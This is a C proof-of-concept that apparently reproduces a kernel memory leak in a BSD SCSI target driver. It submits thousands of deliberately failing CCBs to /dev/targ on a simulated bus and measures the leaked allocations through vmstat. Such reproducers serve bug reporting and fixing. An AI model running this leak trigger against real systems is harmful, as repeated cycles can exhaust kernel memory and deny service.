DF-2287 / poc2287.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 | /* * DF-2287 PoC -- targread()'s abort_queue drain loop * (scsi_target.c:921-937) TAILQ_REMOVEs each targ_cmd_descr and hands * the user_ccb pointer back but never kfree()s the descr; the ONLY other * free is targdtor's teardown drain (:545-547). A daemon that submits * CCBs which deterministically fail in targsendccb and then reads them * back leaks sizeof(struct targ_cmd_descr) of M_TARG per cycle, forever. * * Deterministic failure: XPT_CONT_TARGET_IO with dxfer_len > MAXPHYS -- * targsendccb -> cam_periph_mapmem (cam_periph.c:702-707) rejects with * EPERM -> targstart (:674-684) queues descr onto abort_queue. * * Expected markers: * vmstat -m TARG delta ~= N * sizeof(targ_cmd_descr) (leak) * read-back pointer equals the submitted user_ccb each cycle */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/sysctl.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> #include <bus/cam/scsi/scsi_targetio.h> #define NCYC 2000 static int sysctl_int(const char *name) { int v = 0; size_t l = sizeof(v); if (sysctlbyname(name, &v, &l, NULL, 0) < 0) { fprintf(stderr, "[-] sysctl %s: %s\n", name, strerror(errno)); exit(1); } return (v); } /* parse vmstat -m human columns: 1234, 1.95K, 156K, 390M ... */ static double parse_hcol(const char *s) { double v; char suf[8]; if (sscanf(s, "%lf%1s", &v, suf) < 1) return (-1); if (suf[0] == 'K') v *= 1000; else if (suf[0] == 'M') v *= 1e6; else if (suf[0] == 'G') v *= 1e9; suf[0] = 0; return (v); } static double mtarg_mem, mtarg_mem0; static double mtarg_use(void) { FILE *f = popen("vmstat -m 2>/dev/null | grep -w TARG", "r"); char line[256], col[6][32]; if (f == NULL) return (-1); while (fgets(line, sizeof(line), f) != NULL) { if (sscanf(line, "%31s %31s %31s %31s %31s %31s", col[0], col[1], col[2], col[3], col[4], col[5]) == 6) break; } pclose(f); printf("DF2287: M_TARG line: %s %s %s\n", col[0], col[1], col[2]); mtarg_mem = parse_hcol(col[2]); return (parse_hcol(col[1])); } int main(void) { struct ioc_enable_lun en; static union ccb uccbs[NCYC]; unsigned long p; uint64_t back; double c0, c1; int fd, path_id, i, ok = 0; setvbuf(stdout, NULL, _IONBF, 0); path_id = sysctl_int("hw.targsim.path_id"); printf("DF2287: targsim bus=%d\n", path_id); c0 = mtarg_use(); mtarg_mem0 = mtarg_mem; fd = open("/dev/targ", O_RDWR); if (fd < 0) { printf("DF2287: open FAILED %s\n", strerror(errno)); return (1); } memset(&en, 0, sizeof(en)); en.path_id = path_id; en.target_id = 0; en.lun_id = 0; if (ioctl(fd, TARGIOCENABLE, &en) < 0) { printf("DF2287: TARGIOCENABLE FAILED %s\n", strerror(errno)); return (1); } /* NCYC CTIOs with dxfer_len > MAXPHYS: every one aborts into * abort_queue; each read() drains one descr WITHOUT kfree */ for (i = 0; i < NCYC; i++) { memset(&uccbs[i], 0, sizeof(uccbs[i])); uccbs[i].ccb_h.pinfo.priority = 5; uccbs[i].ccb_h.func_code = XPT_CONT_TARGET_IO; uccbs[i].ccb_h.flags = CAM_DIR_IN; uccbs[i].csio.dxfer_len = 1024 * 1024; /* > MAXPHYS */ uccbs[i].csio.data_ptr = (u_int8_t *)&back; /* any user ptr */ p = (unsigned long)(uintptr_t)&uccbs[i]; if (write(fd, &p, sizeof(p)) != sizeof(p)) break; } printf("DF2287: submitted %d oversized CTIOs\n", i); /* drain the abort_queue: read() 8 bytes at a time */ for (i = 0; i < NCYC; i++) { back = 0; alarm(20); if (read(fd, &back, sizeof(back)) != sizeof(back)) break; alarm(0); if (back == (uint64_t)(uintptr_t)&uccbs[i]) ok++; } printf("DF2287: read back %d descriptors (pointer match %d)\n", i, ok); sleep(1); c1 = mtarg_use(); printf("DF2287: M_TARG count delta = %.0f memdelta(KB) = %.0f for %d " "leaked descrs (~%.0f bytes each)\n", c1 - c0, (mtarg_mem - mtarg_mem0) / 1000, ok, ok ? 0 : 0); printf("DF2287: bytes-per-descr (mem delta / count delta) = %.1f\n", (c1 - c0) > 0 ? (mtarg_mem - mtarg_mem0) * 1000 / (c1 - c0) : 0); if (ok == NCYC && c1 - c0 >= NCYC * 0.9) { printf("DF2287: REPRODUCED -- %d targ_cmd_descr leaked " "(abort_queue drain never frees)\n", ok); return (0); } printf("DF2287: not reproduced\n"); return (1); } |